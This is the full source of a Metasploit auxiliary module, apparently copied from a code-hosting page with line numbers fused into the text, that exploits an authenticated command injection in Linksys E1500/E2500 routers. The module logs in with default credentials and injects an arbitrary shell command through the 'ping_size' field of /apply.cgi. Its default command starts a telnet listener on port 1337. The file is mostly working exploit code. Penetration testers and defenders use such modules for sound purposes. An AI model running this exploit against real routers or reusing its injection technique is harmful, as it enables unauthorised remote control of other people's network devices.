Path: blob/master/modules/auxiliary/admin/http/linksys_e1500_e2500_exec.rb
32945 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Auxiliary6include Msf::Exploit::Remote::HttpClient78def initialize(info = {})9super(10update_info(11info,12'Name' => 'Linksys E1500/E2500 Remote Command Execution',13'Description' => %q{14Some Linksys Routers are vulnerable to an authenticated OS command injection.15Default credentials for the web interface are admin/admin or admin/password. Since16it is a blind os command injection vulnerability, there is no output for the17executed command. A ping command against a controlled system for can be used for18testing purposes.19},20'Author' => [ 'Michael Messner <devnull[at]s3cur1ty.de>' ],21'License' => MSF_LICENSE,22'References' => [23[ 'CVE', '2018-3953' ],24[ 'OSVDB', '89912' ],25[ 'BID', '57760' ],26[ 'EDB', '24475' ],27[ 'URL', 'http://www.s3cur1ty.de/m1adv2013-004' ]28],29'DisclosureDate' => '2013-02-05',30'Notes' => {31'Stability' => [CRASH_SAFE],32'SideEffects' => [IOC_IN_LOGS],33'Reliability' => []34}35)36)3738register_options(39[40OptString.new('HttpUsername', [ true, 'User to login with', 'admin']),41OptString.new('HttpPassword', [ true, 'Password to login with', 'password']),42OptString.new('CMD', [ true, 'The command to execute', 'telnetd -p 1337'])43]44)45end4647def run48uri = '/apply.cgi'49user = datastore['HttpUsername']50pass = datastore['HttpPassword']5152print_status("#{rhost}:#{rport} - Trying to login with #{user} / #{pass}")5354begin55res = send_request_cgi({56'uri' => uri,57'method' => 'GET',58'authorization' => basic_auth(user, pass)59})6061return if res.nil?62return if (res.code == 404)6364if [200, 301, 302].include?(res.code)65print_good("#{rhost}:#{rport} - Successful login #{user}/#{pass}")66else67print_error("#{rhost}:#{rport} - No successful login possible with #{user}/#{pass}")68return69end70rescue ::Rex::ConnectionError71vprint_error("#{rhost}:#{rport} - Failed to connect to the web server")72return73end7475print_status("#{rhost}:#{rport} - Sending remote command: " + datastore['CMD'])7677cmd = datastore['CMD']78# original post request:79# data_cmd = "submit_button=Diagnostics&change_action=gozila_cgi&submit_type=start_ping&80# action=&commit=0&ping_ip=1.1.1.1&ping_size=%26#{cmd}%26&ping_times=5&traceroute_ip="8182vprint_status("#{rhost}:#{rport} - using the following target URL: #{uri}")83begin84send_request_cgi({85'uri' => uri,86'method' => 'POST',87'authorization' => basic_auth(user, pass),88'vars_post' => {89'submit_button' => 'Diagnostics',90'change_action' => 'gozila_cgi',91'submit_type' => 'start_ping',92'action' => '',93'commit' => '0',94'ping_ip' => '1.1.1.1',95'ping_size' => "&#{cmd}&",96'ping_times' => '5',97'traceroute_ip' => ''98}99})100rescue ::Rex::ConnectionError101vprint_error("#{rhost}:#{rport} - Failed to connect to the web server")102return103end104print_status("#{rhost}:#{rport} - Blind Exploitation - unknown Exploitation state")105print_status("#{rhost}:#{rport} - Blind Exploitation - wait around 10 seconds till the command gets executed")106end107end108109110